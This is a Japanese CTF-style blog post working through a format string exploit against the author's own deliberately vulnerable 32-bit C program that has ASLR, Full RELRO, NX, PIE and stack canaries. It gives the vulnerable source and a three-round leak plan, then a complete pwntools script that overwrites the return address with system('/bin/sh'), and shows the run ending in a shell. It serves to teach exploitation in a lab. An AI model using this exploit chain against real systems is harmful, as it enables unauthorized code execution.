ACCE55_DE21ED

競プロとCTF

ASLR + Full RELRO + NX bit + PIE + SSP から FSB でシェルを起動する

これはASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーRELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー の合わせ技みたいなやつのメモです。

ASLR + Full RELRO + NX bit + PIE + SSP の状態でFSBからのシェルの起動までをやります。

環境

Ubuntu 20.04LTS 64bit

$ uname -a
Linux defineprogram-dynabook-T45-GG 5.4.0-33-generic #37-Ubuntu SMP Thu May 21 12:53:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

$ gcc --version
gcc (Ubuntu 9.3.0-10ubuntu2) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

攻撃対象のコード

//fsb.c
#include <stdio.h>

void vuln()
{
    char buf[200];
    for(int i=0;i<3;i++) {
        fgets(buf, sizeof(buf), stdin);
        printf(buf);
        fflush(stdout);
    }
}

int main()
{
    vuln();
    return 0;
}

なんで3回かと言うと、後で3回に分けて攻撃するからです。

64bitのエクスプロイトは難しいので、32bitでやります。

gcc -m32 -Wl,-z,relro,-z,now -o fsb fsb.c

指針

ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーでは、アドレスをリークした上でfflushのアドレスを FSAでGOT Overwriteしてシェルコードのあるアドレスに向かせてシェルを奪っています(NX bit無効かつFull RELROでない事が条件)。 一方、RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジーではmain関数のリターンアドレスをsystem関数に向かわせてシェルを奪っています(ASLRが無効なのが条件)。

というわけで、合わせるとアドレスをリークした上でリターンアドレスをsystem関数に向かわせるという事になりますね。

これならNX bitにもRELROにも引っかかりません。

エクスプロイトコード

エクスプロイトコードは、大体ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーをpwntools使って書き直したようなものです。

アドレスによってはエラー出そうなのあるけど許して

エクスプロイトする時には、アドレスの入ってるアドレスなのか、それとも実際のアドレスなのか、そしてoffsetなのか実際のアドレスなのか混同しがちなので注意です。

さて、エクスプロイトの流れを軽く説明します。

Round 1 以前

以下の情報を持ちます。これらはPIEやASLRとは関係なく一定です。

  • bufferがFSBで何番目に現れるか
  • vulnからのreturn addressの置かれているアドレスのbufferからのoffset
  • vulnを呼び出す時に置かれるsaved ebp自体のbufferからのoffset
  • __libc_start_mainのgotアドレスのoffset
  • fflushのgotアドレスのoffset
  • vulnからのreturn address自体のoffset
  • libc内の__libc_start_mainのoffset

Round 1

FSBを利用して、

  • return address自体
  • saved ebp自体

をリークします。return address自体のoffsetが分かっているので、offsetを引く事でbaseが何かが分かります。

また、saved ebpとbufferとのoffsetも分かっているので、bufferのアドレスも分かります。

Round 2

base addressが判明し、libc_start_main(got)のoffsetも分かっているので、FSBによりlibc_start_mainの実際のアドレスが判明します。

__libc_start_mainのlibc内のoffsetは分かっているので、libc base addressが分かります(重要)

Round 3

Round 1でbufferのアドレスが判明しており、またbufferとreturn addressの入ってるアドレスのoffsetも判明しているのでreturn addressの入ってるアドレスも分かります。

後はreturn addressを書き換えるだけです。

libc baseがRound 2で判明しているので、systemや"/bin/sh"の実際のアドレスも分かります。

こちらもFSBで書き換えるだけ。Got OverwriteではないのでRELROには引っかかりません!

Round 3 の後

vulnからのreturn時にsystem("/bin/sh")が実行され、シェルが立ち上がります。

やったぜ!

# ret2libc.py
from pwn import *
index=5
offset_retaddr_from_buf=0xd8
offset_ebp_from_buf=0xe4

shellcode=b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

elf=ELF("./fsb")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

offset_got_start=elf.got['__libc_start_main']
offset_got_fflush=elf.got['fflush']
offset_retaddr=0x12e3
offset_libc_start=libc.symbols['__libc_start_main']

log.info("offset_got_start={}".format(hex(offset_got_start)))
log.info("offset_got_fflush={}".format(hex(offset_got_fflush)))
log.info("offset_libc_start={}".format(hex(offset_libc_start)))

p=process("./fsb")

index_retaddr=index+offset_retaddr_from_buf//4

# Round 1

payload="%{}$08x".format(index_retaddr)
payload+="%{}$08x".format(index_retaddr-1)

p.sendline(payload)
line=p.recvline()

addr_retaddr=int(line[:8],16)
addr_ebp=int(line[8:],16)
base_addr=addr_retaddr-offset_retaddr
addr_buf=addr_ebp-offset_ebp_from_buf
log.info("base_addr:{}".format(hex(base_addr)))
log.info("addr_buf:{}".format(hex(addr_buf)))

# Round 2
payload=p32(base_addr+offset_got_start)
payload+=bytes("%{}$s".format(index).encode())
p.sendline(payload)
addr_libc_start=u32(p.recvline()[4:8])
base_libc_addr=addr_libc_start-offset_libc_start

log.success("libc base:{}".format(hex(base_libc_addr)))

# Round 3

address_retaddr=offset_retaddr_from_buf+addr_buf
offset_system=libc.symbols['system']
offset_binsh=next(libc.search(b"/bin/sh"))
writes={address_retaddr:base_libc_addr+offset_system,
        address_retaddr+8:base_libc_addr+offset_binsh}

payload=fmtstr_payload(index,writes)
p.sendline(payload)

p.interactive()

実行すると、一発でシェルが取れている事が分かります。

$ python3 ret2libc.py 
[*] '/home/defineprogram/Desktop/CTF/FSB_ASLR+PIE/fsb'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] offset_got_start=0x3fe0
[*] offset_got_fflush=0x3fd4
[*] offset_libc_start=0x1edf0
[+] Starting local process './fsb': pid 18696
[*] base_addr:0x565ca000
[*] addr_buf:0xffaa77a4
[+] libc base:0xf7da6000
[*] Switching to interactive mode
                                               \xc8                                                                                                                                       \x80                                     @                                                                                                                  %                                                %                                                                                                               h   1aaa|x\xaa\xff}x\xaa\xff~x\xaa\xff\x7fx\xaa\xff\x84x\xaa\xff\x85x\xaa\xff\x86x\xaa\xff\x87x\xaa\xff
$ id
uid=1000(defineprogram) gid=1000(defineprogram) groups=1000(defineprogram),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1001(docker)